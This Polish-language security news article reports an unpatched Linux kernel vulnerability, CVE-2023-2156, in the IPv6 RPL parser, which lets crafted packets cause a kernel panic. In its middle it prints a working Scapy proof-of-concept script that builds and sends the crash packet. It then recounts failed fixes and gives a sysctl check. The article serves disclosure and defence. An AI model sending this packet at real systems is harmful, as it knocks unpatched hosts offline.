Odsłonięto informacje o niezałatanej (0-day) podatności (CVE-2023-2156) w jądrze Linux, która pozwala na zatrzymanie pracy systemu poprzez wysyłanie specjalnie skonstruowanych pakietów IPv6 (packet-of-death). Problem pojawia się tylko przy włączonej obsłudze protokołu RPL (Routing Protocol for Low-Power and Lossy Networks), który w dystrybucjach jest domyślnie wyłączony i stosowany głównie w urządzeniach wbudowanych działających w bezprzewodowych sieciach z dużą utratą pakietów.
Podatność jest spowodowana nieprawidłowym przetwarzaniem danych pochodzących z zewnątrz w kodzie analizatora protokołu RPL, co prowadzi do aktywacji awarii assert i przejścia jądra w stan panic. Podczas umieszczania w strukturze k_buff (Socket Buffer) danych otrzymanych po analizie nagłówka pakietu IPv6 RPL, jeśli pole CmprI jest ustawione na 15, pole Segleft na 1, a CmprE na 0, 48-bajtowy wektor z adresami rozpakowuje się do 528 bajtów i występuje sytuacja, w której przydzielone dla bufora pamięci okazuje się niewystarczające. W takim przypadku w funkcji skb_push, stosowanej do umieszczania danych w strukturze, uruchamia się kontrola na niespójność rozmiaru danych i bufora, generując stan panic, aby zapobiec zapisaniu poza granicami bufora.
Przykład exploita: # Użyjemy Scapy do skonstruowania pakietu from scapy.all import * import socket # Użyj adresu IPv6 z twojego interfejsu LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Używamy gniazd do wysyłania pakietu sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Skonstruuj pakiet # Typ = 3 czyni go pakietem RPL # Adresy zawierają 3 adresy, ale ponieważ CmprI to 15, # każdy oktet pierwszych dwóch adresów traktowany jest jako adres skompresowany # Segleft = 1, aby uruchomić amplifikację # lastentry = 0xf0 ustawia CmprI na 15 i CmprE na 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Wyślij ten złośliwy pakiet sockfd.sendto(bytes(p), (DST_ADDR, 0))
Ciekawe, że programiści jądra byli informowani o podatności już w styczniu 2022 roku i w ciągu ostatnich 15 miesięcy trzykrotnie próbowano rozwiązać problem, wydając poprawki we wrześniu 2022, październiku 2022 i kwietniu 2023 roku, ale za każdym razem poprawki okazywały się niewystarczające i podatność udawało się odtworzyć. Ostatecznie projekt ZDI, który koordynował działania mające na celu usunięcie podatności, podjął decyzję o ujawnieniu szczegółowych informacji na temat podatności, nie czekając na pojawienie się działającej poprawki w jądrze.
W ten sposób luka nadal pozostaje niezałatana. Ponadto, poprawka zawarta w jądrze 6.4-rc2 jest nieskuteczna. Użytkownikom zaleca się sprawdzenie, czy protokół RPL nie jest używany w ich systemach, co można zrobić za pomocą polecenia sysctl -a | grep -i rpl_seg_enabled.
Źródło: opennet.ru
